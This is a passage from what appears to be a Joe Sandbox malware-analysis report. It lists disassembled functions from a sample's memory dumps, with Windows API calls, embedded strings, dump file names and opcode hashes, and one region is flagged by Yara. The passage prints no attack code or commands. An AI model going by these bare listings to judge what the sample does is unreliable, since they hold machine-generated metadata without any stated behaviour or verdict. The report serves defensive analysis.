xOQkyMTkJMjE5CTIxOQkyMTkJMjE5CTIxOQkyMTkJMjE5CTIxOQkyMTkJMjE5CTIxOQkyMTkJMjE5CTIxOQkyMTkJMjE5CTIxOQkyMTkJMjE5CTIxOQkyMTkJMjE5CTIxOQkyMTkJMjE5CTIxOQkyMTkJMjE5CTIxOQkyMTkJMjE5CTIxOQkyMTkJMjE5CTIxOQkyMTkJMjE5CTIxOQkyMTkJMjE5CTIxOQkyMTkJMjE5CTIxOQkyMTkJMjE5CTIxOQk, xrefs: 0092E920, 0092E926, 0092E937, 0092E93C

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: __aulldiv$InterruptQueryTimeUnbiased__aullrem
String ID: xOQkyMTkJMjE5CTIxOQkyMTkJMjE5CTIxOQkyMTkJMjE5CTIxOQkyMTkJMjE5CTIxOQkyMTkJMjE5CTIxOQkyMTkJMjE5CTIxOQkyMTkJMjE5CTIxOQkyMTkJMjE5CTIxOQkyMTkJMjE5CTIxOQkyMTkJMjE5CTIxOQkyMTkJMjE5CTIxOQkyMTkJMjE5CTIxOQkyMTkJMjE5CTIxOQkyMTkJMjE5CTIxOQkyMTkJMjE5CTIxOQkyMTkJMjE5CTIxOQk
API String ID: 493618052-83919110
Opcode ID: e26fada44ee2cb61ff719ce6232d20c1246b4f3f44490d710abbcaf59a39dd9c
Instruction ID: e90243e8a0ee827685defa4400f50873425374d95a6e4801f6fbf98c4fa7db86
Opcode Fuzzy Hash: e26fada44ee2cb61ff719ce6232d20c1246b4f3f44490d710abbcaf59a39dd9c
Instruction Fuzzy Hash: 64119A727003146FD714DF299C81A7BB6EDEBC8714B04892EF98AD7392E660AC408791

Function 008D23A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 67libraryloaderCOMMON

Download Yara Rule

APIs

__Init_thread_header.LIBCMT ref: 008D2419
LoadLibraryW.KERNEL32(bcryptprimitives.dll,008CCC96,00000010,?,?,00000063,?,0089E6F9,?,?,00000000), ref: 008D242F
GetProcAddress.KERNEL32(00000000,ProcessPrng), ref: 008D243F

Strings

ProcessPrng, xrefs: 008D2439
bcryptprimitives.dll, xrefs: 008D242A

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: AddressInit_thread_headerLibraryLoadProc
String ID: ProcessPrng$bcryptprimitives.dll
API String ID: 1459703600-2667675608
Opcode ID: 0bbd43abcc0e9c81c30dedfa38bbc36517b06a50417e7c6a587f062d28c5abff
Instruction ID: a99c1eb7145c7de0292acbb127dcc2d91696d2434922c59c37dfe5ade0633dd4
Opcode Fuzzy Hash: 0bbd43abcc0e9c81c30dedfa38bbc36517b06a50417e7c6a587f062d28c5abff
Instruction Fuzzy Hash: 4B117D3260434457D728AB7DEC55E663715FFE1B15B04026EFE05C3761DB354845A722

Function 008C4C40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

FindResourceW.KERNEL32(00000000,?,?,-00000001,008446AD,00000000,?,?,008C46BD,SIGNATURE_DAT,SIGNATURE.DAT,00000000), ref: 008C4C5E
SizeofResource.KERNEL32(00000000,00000000,?,008C46BD,SIGNATURE_DAT,SIGNATURE.DAT,00000000), ref: 008C4C6C
LoadResource.KERNEL32(00000000,00000000,?,008C46BD,SIGNATURE_DAT,SIGNATURE.DAT,00000000), ref: 008C4C7B
LockResource.KERNEL32(00000000,?,008C46BD,SIGNATURE_DAT,SIGNATURE.DAT,00000000), ref: 008C4C86

Strings

..\..\third_party\libc++\src\include\vector:1393: assertion __n < size() failed: vector[] index out of bounds, xrefs: 008C4CB9

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: Resource$FindLoadLockSizeof
String ID: ..\..\third_party\libc++\src\include\vector:1393: assertion __n < size() failed: vector[] index out of bounds
API String ID: 3473537107-2998926704
Opcode ID: 947a011196e8894345ba9c9903cfa62aff8ed53cb0b17e715c53d64e04c3ff22
Instruction ID: 04512f42d68d1cd7bcd8823c1351ee7de0d3ee2977146a5fae7767df2ee5bee8
Opcode Fuzzy Hash: 947a011196e8894345ba9c9903cfa62aff8ed53cb0b17e715c53d64e04c3ff22
Instruction Fuzzy Hash: CE0157B0610301AFDB14AB7A9C99E6BBAEDEFC47513088429B909D2251EB70D84087B0

Function 0089C830 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 59COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(process_win.cc,000000FD,000000FE), ref: 0089C894

Strings

Process , xrefs: 0089C87E
exited with code , xrefs: 0089C8AD
..\..\base\process\process_win.cc, xrefs: 0089C84A
process_win.cc, xrefs: 0089C86C

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: CurrentProcess
String ID: exited with code $..\..\base\process\process_win.cc$Process $process_win.cc
API String ID: 2050909247-4186332098
Opcode ID: 67991a49b1f28652290a4d5bab04fe00b85c653c082db94d6cc462d5fbf821ab
Instruction ID: f1678ae74552900b58b42ea1b37248e197e4f29dcdbdfdbec80c46803744d877
Opcode Fuzzy Hash: 67991a49b1f28652290a4d5bab04fe00b85c653c082db94d6cc462d5fbf821ab
Instruction Fuzzy Hash: 25112971B003096ADE20B7B8EC5BFAA7368EBD1748F040434F545DA1C2EA7159188363

Function 00848830 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 55synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(00000000,00007530), ref: 00848851
GetLastError.KERNEL32 ref: 00848862
TerminateProcess.KERNEL32(00000000,00000000,The elevated installer hangs and must be forcibly terminated.,00943746,00000001,EnsureProcessFinished,00000763,?), ref: 008488BF

Strings

EnsureProcessFinished, xrefs: 00848882
The elevated installer hangs and must be forcibly terminated., xrefs: 00848897

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: ErrorLastObjectProcessSingleTerminateWait
String ID: EnsureProcessFinished$The elevated installer hangs and must be forcibly terminated.
API String ID: 329558020-1814985891
Opcode ID: a01b5af077b0aeceda17a079710fd6c6872b8145dd887c2b6e683f698af203e0
Instruction ID: c19837d7e29e6994530993313cf90e35dbc4845566388a1e7b42638d8a32a3de
Opcode Fuzzy Hash: a01b5af077b0aeceda17a079710fd6c6872b8145dd887c2b6e683f698af203e0
Instruction Fuzzy Hash: DC112970608304AFDB10AB24DC87F5E7B66FFC0719F004828F549962D2DBA1AA04C793

Function 008BCBA0 Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 129COMMON

Download Yara Rule

APIs

Part of subcall function 008BCD40: GetLastError.KERNEL32 ref: 008BCD7F
Part of subcall function 008BCD40: SetLastError.KERNEL32(00000000), ref: 008BCD94

GetLastError.KERNEL32 ref: 008BCCC9

Strings

CreateWellKnownSid failed, xrefs: 008BCCFB
IsUserAnAdminGroup, xrefs: 008BCCE6
..\..\third_party\libc++\src\include\vector:1393: assertion __n < size() failed: vector[] index out of bounds, xrefs: 008BCD29
..\..\third_party\libc++\src\include\__memory\construct_at.h:66: assertion __loc != nullptr failed: null pointer given to destroy_at, xrefs: 008BCD38

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: ErrorLast
String ID: ..\..\third_party\libc++\src\include\__memory\construct_at.h:66: assertion __loc != nullptr failed: null pointer given to destroy_at$..\..\third_party\libc++\src\include\vector:1393: assertion __n < size() failed: vector[] index out of bounds$CreateWellKnownSid failed$IsUserAnAdminGroup
API String ID: 1452528299-2313459760
Opcode ID: e0173e1edb40ea9b66ceef71d98fe10cfd8076f128aa0fad2ceb66d4405c0b94
Instruction ID: 823b22b51c75dd7826bc50dec2baa6e41a80d6f1790624cf57591d37641578b2
Opcode Fuzzy Hash: e0173e1edb40ea9b66ceef71d98fe10cfd8076f128aa0fad2ceb66d4405c0b94
Instruction Fuzzy Hash: 3541E6716043059BD7209F68DC926ABB7A1FFD4724F104A2CF999A3381D7B0B909CB92

Function 0089C950 Relevance: 7.6, APIs: 5, Instructions: 118synchronizationCOMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0089C9A6
GetCurrentProcess.KERNEL32 ref: 0089C9E2
WaitForSingleObject.KERNEL32(-00000002,00000000), ref: 0089C9EA
GetCurrentProcess.KERNEL32 ref: 0089CA30
GetExitCodeProcess.KERNEL32(00000000,FFFFFFFF), ref: 0089CA3B

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: Process$Current$CodeExitObjectSingleUnothrow_t@std@@@Wait__ehfuncinfo$??2@
String ID:
API String ID: 1195251599-0
Opcode ID: 7131dcfe1564c4a15f130f08d56650fcce226b4807a638fbc5dc00fa64832ec5
Instruction ID: e420d3432c5424776e2ae274bced2b67bf39bb439f5c7ee51ce09c53afbbe26b
Opcode Fuzzy Hash: 7131dcfe1564c4a15f130f08d56650fcce226b4807a638fbc5dc00fa64832ec5
Instruction Fuzzy Hash: 3441EFB17043098FDF24AFA8CC85BBB7BA8FB85314F184228E965DB2D1D7719D049760

Function 008BCE10 Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 113COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 008BCEEE

Strings

GetTokenInfo, xrefs: 008BCF09
GetTokenInformation failed, xrefs: 008BCF1E
..\..\third_party\libc++\src\include\__memory\construct_at.h:40: assertion __location != nullptr failed: null pointer given to construct_at, xrefs: 008BCF4B
..\..\third_party\libc++\src\include\__memory\construct_at.h:66: assertion __loc != nullptr failed: null pointer given to destroy_at, xrefs: 008BCF63

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: ErrorLast
String ID: ..\..\third_party\libc++\src\include\__memory\construct_at.h:40: assertion __location != nullptr failed: null pointer given to construct_at$..\..\third_party\libc++\src\include\__memory\construct_at.h:66: assertion __loc != nullptr failed: null pointer given to destroy_at$GetTokenInfo$GetTokenInformation failed
API String ID: 1452528299-3859318850
Opcode ID: f7cebedbb59723043804945d2b8383ec47f0ee126f03224cb3b5b443610999e7
Instruction ID: a72963b2a0bb62f2246c8ae61597e6d039b72cf9258e7f943e12aaa99573cc90
Opcode Fuzzy Hash: f7cebedbb59723043804945d2b8383ec47f0ee126f03224cb3b5b443610999e7
Instruction Fuzzy Hash: 7531C3B1608602AFC314DF29D8419AAB7E8FFD4B44F10892DF595D7351EB70E918CB92

Function 008F0630 Relevance: 7.6, APIs: 5, Instructions: 108memoryCOMMON

Download Yara Rule

APIs

InitOnceExecuteOnce.KERNEL32(00972A68,Function_000D0610,?,00000000), ref: 008F0662
TlsGetValue.KERNEL32 ref: 008F0693
AcquireSRWLockExclusive.KERNEL32(00972A74), ref: 008F06A5
ReleaseSRWLockExclusive.KERNEL32(00972A74), ref: 008F06D5
TlsAlloc.KERNEL32 ref: 008F0763

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: ExclusiveLockOnce$AcquireAllocExecuteInitReleaseValue
String ID:
API String ID: 655554649-0
Opcode ID: ecd679b36a6559446ca0f384aca615c52e3e0192d93f13c656c6e4c3c8d7c5ee
Instruction ID: 05bdc5d4bd38aff9cd67f5893bd98ce7c4509e85ac2f1944e274dd97866c0c4e
Opcode Fuzzy Hash: ecd679b36a6559446ca0f384aca615c52e3e0192d93f13c656c6e4c3c8d7c5ee
Instruction Fuzzy Hash: 8831A076A243098FCB18AF75EC85A7E77B4FB88311B14012CE90AD3391DB35A845EF55

Function 0595CF7B Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0595CF82
std::_Lockit::_Lockit.LIBCPMT ref: 0595CF8F

Part of subcall function 0595BE2E: __EH_prolog3_GS.LIBCMT ref: 0595BE35
Part of subcall function 0595BE2E: std::_Lockit::_Lockit.LIBCPMT ref: 0595BE46
Part of subcall function 0595BE2E: std::_Lockit::~_Lockit.LIBCPMT ref: 0595BE68

std::_Facet_Register.LIBCPMT ref: 0595CFE2
std::_Lockit::~_Lockit.LIBCPMT ref: 0595D00C
Concurrency::cancel_current_task.LIBCPMT ref: 0595D019

Memory Dump Source

Source File: 00000001.00000002.1724191152.0000000005940000.00000040.00001000.00020000.00000000.sdmp, Offset: 05940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5940000_0x001900000002ab40-59.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$H_prolog3_Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2687776920-0
Opcode ID: 55162455df08e4cc1204d67564256d4375ce3786900a0ef342f66119dac91406
Instruction ID: 86bf6a4e93f74c47a6f1843b0335c1a38cb41872af8db16099ef475931eab61a
Opcode Fuzzy Hash: 55162455df08e4cc1204d67564256d4375ce3786900a0ef342f66119dac91406
Instruction Fuzzy Hash: 0721F471A04205DFDB04EF78D48867EB7F5AF84330F64451EE855D7290DB74AE128B80

Function 008BCD40 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 67COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 008BCD7F
SetLastError.KERNEL32(00000000), ref: 008BCD94
GetLastError.KERNEL32 ref: 008BCDAF

Strings

OpenProcessToken fail, xrefs: 008BCDE1
GetProcessToken, xrefs: 008BCDCC

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: ErrorLast
String ID: GetProcessToken$OpenProcessToken fail
API String ID: 1452528299-1201466178
Opcode ID: 5fd1920016c75a568c05fc69ac7ad3d96b6b5747209e425a2fddb403ad551ba4
Instruction ID: a080930ba783498938a2d46af7c9b107fc1bf2c299bece10db42e4e696928ebb
Opcode Fuzzy Hash: 5fd1920016c75a568c05fc69ac7ad3d96b6b5747209e425a2fddb403ad551ba4
Instruction Fuzzy Hash: 9311D5756083046FD710AF64DC86B6A77A8FBC4725F04492DFA55863D1DB7098058BA2

Function 00926009 Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 370COMMONLIBRARYCODE

Download Yara Rule

APIs

__freea.LIBCMT ref: 00926183
__freea.LIBCMT ref: 0092619F

Strings

am/pm, xrefs: 00926201
a/p, xrefs: 00926265

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: __freea
String ID: a/p$am/pm
API String ID: 240046367-3206640213
Opcode ID: 5458f2dbf12597d63e76ab12bca8615506a535bd2d9c71196cc7903e985dcf2c
Instruction ID: e601d13311cba0e2b5b0879f1d8dbd866ce7da119f73e378cf03aaa91e711c18
Opcode Fuzzy Hash: 5458f2dbf12597d63e76ab12bca8615506a535bd2d9c71196cc7903e985dcf2c
Instruction Fuzzy Hash: BBC13534A04236DFCB24DF68E884BBE77B8FF45700F244059E941ABA59D335AD41CBA1

Function 008AEE60 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 250COMMON

Download Yara Rule

APIs

TryAcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,008AEDEA,?,008B6900,008B932E,?,?,?,008B932E), ref: 008AEEC0
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,008AEDEA,?,008B6900,008B932E,?,?,?,008B932E), ref: 008AEEDC
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,008AEDEA,?,008B6900,008B932E,?,?,?,008B932E), ref: 008AF01D

Strings

..\..\third_party\libc++\src\include\__memory\construct_at.h:66: assertion __loc != nullptr failed: null pointer given to destroy_at, xrefs: 008AF118

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: ExclusiveLock$Release$Acquire
String ID: ..\..\third_party\libc++\src\include\__memory\construct_at.h:66: assertion __loc != nullptr failed: null pointer given to destroy_at
API String ID: 1021914862-4189810390
Opcode ID: 2c2c734e6c61b006740785796804638f8aeb3c3043fccebbe2553762965ee648
Instruction ID: 37e7e8e5bfd5f515640eeed8b18148a2ee2b0f2f2b688e7cfcac4da484f0bf8c
Opcode Fuzzy Hash: 2c2c734e6c61b006740785796804638f8aeb3c3043fccebbe2553762965ee648
Instruction Fuzzy Hash: 0191D5B5E0021A8FDB14CFA8D880AAEB7B5FF49314F144168E905E7782DB71ED01CB91

Function 00898730 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 195COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 0089873F

Strings

..\..\third_party\libc++\src\include\__string\char_traits.h:322: assertion !std::__is_pointer_in_range(__s1, __s1 + __n, __s2) failed: char_traits::copy: source and destination ranges overlap, xrefs: 008988E3, 008988FE, 00898919
..\..\third_party\libc++\src\include\string:2849: assertion __s != nullptr failed: string::append received nullptr, xrefs: 00898756
7S, xrefs: 00898934

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: _strlen
String ID: ..\..\third_party\libc++\src\include\__string\char_traits.h:322: assertion !std::__is_pointer_in_range(__s1, __s1 + __n, __s2) failed: char_traits::copy: source and destination ranges overlap$..\..\third_party\libc++\src\include\string:2849: assertion __s != nullptr failed: string::append received nullptr$7S
API String ID: 4218353326-2554461371
Opcode ID: 3dafb38cead20b5743aac63c9554e7222d11a3f940f7d932f4380c56e990473a
Instruction ID: 4a16f2d2aa1e5111afafcec8677ea68a529e255c4dacb54e0c7c49af0aacf161
Opcode Fuzzy Hash: 3dafb38cead20b5743aac63c9554e7222d11a3f940f7d932f4380c56e990473a
Instruction Fuzzy Hash: 44512771A0021ADFCF04EF54D881ABD77A4FF85704F58452DF805EB291EB71A915CBA2

Function 008F41B0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON

Download Yara Rule

APIs

__Init_thread_header.LIBCMT ref: 008F429D

Strings

..\..\third_party\libc++\src\include\string:2706: assertion __s != nullptr failed: string::assign received nullptr, xrefs: 008F4289
..\..\third_party\libc++\src\include\__memory\construct_at.h:40: assertion __location != nullptr failed: null pointer given to construct_at, xrefs: 008F441C
bran, xrefs: 008F41B3

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
